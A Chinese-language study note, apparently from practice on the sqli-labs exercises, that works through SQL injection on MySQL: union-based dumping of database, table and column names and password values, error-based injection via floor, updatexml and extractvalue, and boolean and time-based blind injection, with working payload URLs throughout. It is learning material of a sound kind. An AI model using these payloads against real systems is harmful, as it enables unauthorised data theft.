- 时间:2019年8月6日21:39:22
- 地点:福州大学
单引号字符型注入
漏洞特征
and 1=2 时候任然返回正常,但是” ’ “时会报错
- sql语句:
'order by 1,2,3--+
语义:查询表中有几个字段,如果字段超过实际个数将会报错
eg:
http://www.sql.com/Less-1/?id=1%27%20order%20by%201,2,3%20--+
检测回显位
- sql语句:
union select 1,2,3--+
语义:查询存在的表段中的显位。使用时候将id改成不存在的id值然后查询。如果返回位有显示,则在该返回位可以进行查询
eg:
http://www.sql.com/Less-1/?id=-1%27%20union%20select%201,2,3--+
爆数据库
- sql语句:
select group_concat(schema_name)from information_schema.schemata#注意:group_concat()是将返回的数据当做一行输出
- 语义:查询information_schema数据库中的shcemata中的schema_name表段的内容,该数据库的该表段储存了Mysql所有数据库的名字(Mysql5.5+)
- eg:
http://www.sql.com/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3--+
爆表名
- sql语句:
select group_concat(table_name)from information_schema.tables where table_schema='security' --+
- 语义:查询information_schema数据库中的tables表中的table_name内容条件为table_schema(保存数据库名字)为security,该语句将会爆出该数据库的所有表名
- eg:
http://www.sql.com/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=%27security%27),3--+
爆表段
- sql语句:
select group_concat(column_name)from information_schema.columns where table_name='users'
- 语义: 该语句查询information_schema数据库中的columns表中column_name表段的值,条件table_name=’users‘,该语句可以查询出改表的所有表段
- eg:
http://www.sql.com/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(column_name)from%20information_schema.columns%20where%20table_name=%27users%27),3--+
爆表段值
- sql语句:
select group_concat(password) from security.user
- 语义:查询security数据库中的user表中的password表段的所有值,查询用户名类似。
- eg:
http://www.sql.com/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(password)%20from%20security.users),3--+
(完)
数值型注入
标志:使用and1=1 和and 1=2时候出现页面变化说明是数值型注入。具体流程与上面一样,但是无需使用(’)作为闭合。
单引号括型字符型注入
- 标志: 使用and 1= 1和and 1=2 返回无差异说明是字符型注入,使用单引号闭合再使用order by 爆出语法错误,使用 ‘) 闭合可以正常注入。
报错注入
若存在注入,但是并没有显位,但是页面存在报错代码,那么可以通过报错作为显位。
- 报错注入的三种方式:
通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
输出字符长度限制为64个字符
输出字符长度限制为64个字符
通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
输出字符有长度限制,最长32位。
例子:
盲注
#布尔盲注可能用到的函数
ascii()#括号中的参数转化成相应的ascii码
ORD()与ascii()#用法类似
substr()substr(a,b,c)#从b 位置开始,截取字符串a 的c 长度。
mid()用法与substr()#类似
length()#返回str字符串的长度
left(database(),1) #取database字符串的左边第一个
例子
' and mid(version(),2,1)='.' --+
语义:mid用于截断版本号的第二位是不是等于“.”如果是则放回TURE否则FALSE
#爆出数据库版本:
and mid(version(),1,1)=1
#爆出数据库用户:
and ascii(mid(user(),1,1))>18
#爆出表名:
and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>18
时间盲注
if(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,执行 sleep
SQL注入高级用法(读写文件)
(后续补入)